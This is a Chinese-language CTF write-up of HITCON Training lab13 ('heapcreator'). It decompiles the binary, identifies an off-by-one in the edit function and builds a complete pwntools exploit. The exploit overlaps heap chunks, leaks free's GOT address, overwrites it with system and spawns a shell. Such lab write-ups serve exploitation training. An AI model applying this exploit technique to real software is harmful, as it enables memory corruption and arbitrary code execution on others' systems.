Chunk Extend and Overlapping 学习
HITCON Trainging lab13题目地址
查看保护措施,RelRO为Partial,即可以修改GOT表项
用IDA分析一下
这个题目,定义了一种heap结构体,大概如下
struct heap
{
int size; //heap的大小;占8字节
int content; //指针,指向content;占8字节
}
下面是main函数,定义了菜单选项,按选项调用相关函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 4uLL);
switch ( atoi(&buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
return;
default:
puts("Invalid Choice");
break;
}
}
}
create_heap函数,创建heap结构体
unsigned __int64 create_heap()
{
_QWORD *v0; // rbx
signed int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] ) //heaparray数组存储在bss段
{
heaparray[i] = malloc(0x10uLL); //heaparray保存heap结构体
if ( !heaparray[i] ) //heap结构体是这样的:
{ //{ QWORD size
puts("Allocate Error"); // QWORD content_address
exit(1); //}
}
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
v0 = heaparray[i];
v0[1] = malloc(size); //保存content地址
if ( !*((_QWORD *)heaparray[i] + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)heaparray[i] = size; //保存size
printf("Content of heap:", &buf);
read_input(*((void **)heaparray[i] + 1), size); //read_input函数:读取a2长度的字符串到a1中
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
read_input函数:读取a2长度的字符串到a1中
ssize_t __fastcall read_input(void *a1, size_t a2)
{
ssize_t result; // rax
result = read(0, a1, a2);
if ( (signed int)result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}
heaparray数组存储在bss段
edit_heap函数,修改content时,read_input函数传入的size=heap->size+1,所以这里存在off by one漏洞。
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Content of heap : ", &buf);
read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);//这里存在offbyone漏洞
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
show_heap 输出heap->size和heap->content
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
delete_heap 先free掉heap>content,再free heap结构体,并将heaparray[i]处置0
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(*((void **)heaparray[v1] + 1));
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
调试一下
#coding=utf-8
from pwn import *
sh=process("./heapcreator")
elf=ELF("./heapcreator")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level='debug'
#模拟功能
def create(size,content):
sh.sendlineafter("Your choice :",str(1))
sh.sendlineafter("Size of Heap : ",str(size))
sh.sendlineafter("Content of heap:",content)
def edit(index,content):
sh.sendlineafter("Your choice :",str(2))
sh.sendlineafter("Index :",str(index))
sh.sendlineafter("Content of heap : ",content)
def show(index):
sh.sendlineafter("Your choice :",str(3))
sh.sendlineafter("Index :",str(index))
def delete(index):
sh.sendlineafter("Your choice :",str(4))
sh.sendlineafter("Index :",str(index))
heap_array=0x6020A0
create(0x18,"a"*0x18) #idx 0
create(0x10,"b"*0x16)
gdb.attach(sh,"b read")
#通过edit修改heap[0]->content,覆盖chunk[1]的size 为0x41
edit(0, "a"*0x18 + "\x41")
delete(1)
sh.interactive()
查看heaparray数组,我们申请了两个heap结构体,heap[0]结构体地址为0x0000000001565010,heap[1]]结构体地址为0x0000000001565050。
图片里的结构体地址为用户区起始地址,所以减去0x10为chunk起始地址。即,为保存heap[0]结构体申请的chunk起始地址为0x0000000001565000。
查看相关地址的内容
可以得到以下信息
heap[0]->size =0x18
heap[0]->content_addr=0x1565030
heap[1]->size =0x10
heap[1]->content_addr=0x1565070
上面调试代码里,申请heap[0]时,size输入为0x18,而保存heap[0]->content的chunk大小为0x21,这是因为复用了下一个chunk的pre_size字段。
继续运行
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
再次查看,可以看到保存heap[1]结构体的chunk的size字段被修改为0x0000000000000041
这时执行
delete(1)
即执行delete_heap函数,会先free掉heap[1]的content,再free掉保存heap[1]的chunk
free(*((void **)heaparray[v1] + 1)); //free heap[1]->content
free(heaparray[v1]); //free heap[1]结构体
查看此时的bins,可以看到上面free掉的两个chunk进入了Fastbins链表里,下面图片里的chunk地址是用户数据区的地址
如果我们这时候再申请一个heap结构体,我们这称为heap[2]吧(但是heap[2]的结构体地址还是会保存在heaparray[1]里面)。调用create_heap函数,首先malloc(0x10)来储存heap[2]的结构体,然后再malloc(0x30)来保存heap[2]->content。
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
如下图所示,红色框线为heap[2]->content。蓝色框线为heap[2]的结构体,可以看出其size=0x30。
此时
heaparray[1]=heap[2]结构体地址=heap[1]->content地址,即从fastbin里取下上一步free掉的保存heap[1]->content的chunk来保存heap[2]的结构体
heap[2]->content_addr=heap[1]->结构体的起始地址
可以看到保存heap[2]->content的chunk与保存heap[2]结构体的chunk有重叠的部分。此时我们填入的heap[2]->content,可以覆盖heap[2]->content_addr。
使用上面代码创建heap[2]的时候,填入的content数据为
p64(0) * 4 + p64(0x30) + p64(heap.got['free'])
可以看到成功将heap[2]->content_addr修改为了free_got的地址。
此时打印heap[2]的content就会把free函数的绝对地址打印出来,然后计算libc基址,从而计算system的绝对地址
show(1)
sh.recvuntil("Content : ")
data = sh.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
此时调用edit(1, p64(system_addr)),会把system函数的地址填入free_got表项。
然后再调用delete(0),执行free(heap[0]->content) ,此时执行的便是system(heap[0]->content),而在上面步骤中,已将heap[0]->content修改为"/bin/sh",也就执行了system("/bin/sh")。
edit(1, p64(system_addr))
delete(0)
完整exp
#coding=utf-8
from pwn import *
sh=process("./heapcreator")
elf=ELF("./heapcreator")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level='info'
#模拟功能
def create(size,content):
sh.sendlineafter("Your choice :",str(1))
sh.sendlineafter("Size of Heap : ",str(size))
sh.sendlineafter("Content of heap:",content)
def edit(index,content):
sh.sendlineafter("Your choice :",str(2))
sh.sendlineafter("Index :",str(index))
sh.sendlineafter("Content of heap : ",content)
def show(index):
sh.sendlineafter("Your choice :",str(3))
sh.sendlineafter("Index :",str(index))
def delete(index):
sh.sendlineafter("Your choice :",str(4))
sh.sendlineafter("Index :",str(index))
free_got=elf.got["free"]
system_offset=libc.symbols["system"]
free_offset=libc.symbols['free']
create(0x18,"a"*0x18) #idx 0
create(0x10,"b"*0x16) #idx 1
#通过edit修改heap[0]->content,覆盖保存heap[1]->content的chunk的size为0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got)) #1
#得到free函数的完整地址
show(1)
sh.recvuntil("Content : ")
data = sh.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
#计算libc基址,并计算出system函数的地址
libc_base = free_addr - free_offset
system_addr = libc_base + system_offset
log.success('system_addr: ' + hex(system_addr))
#修改free got表项为system函数的地址
edit(1, p64(system_addr))
# trigger system("/bin/sh") ,即调用free函数就会执行system函数
delete(0)
sh.interactive()
exp执行效果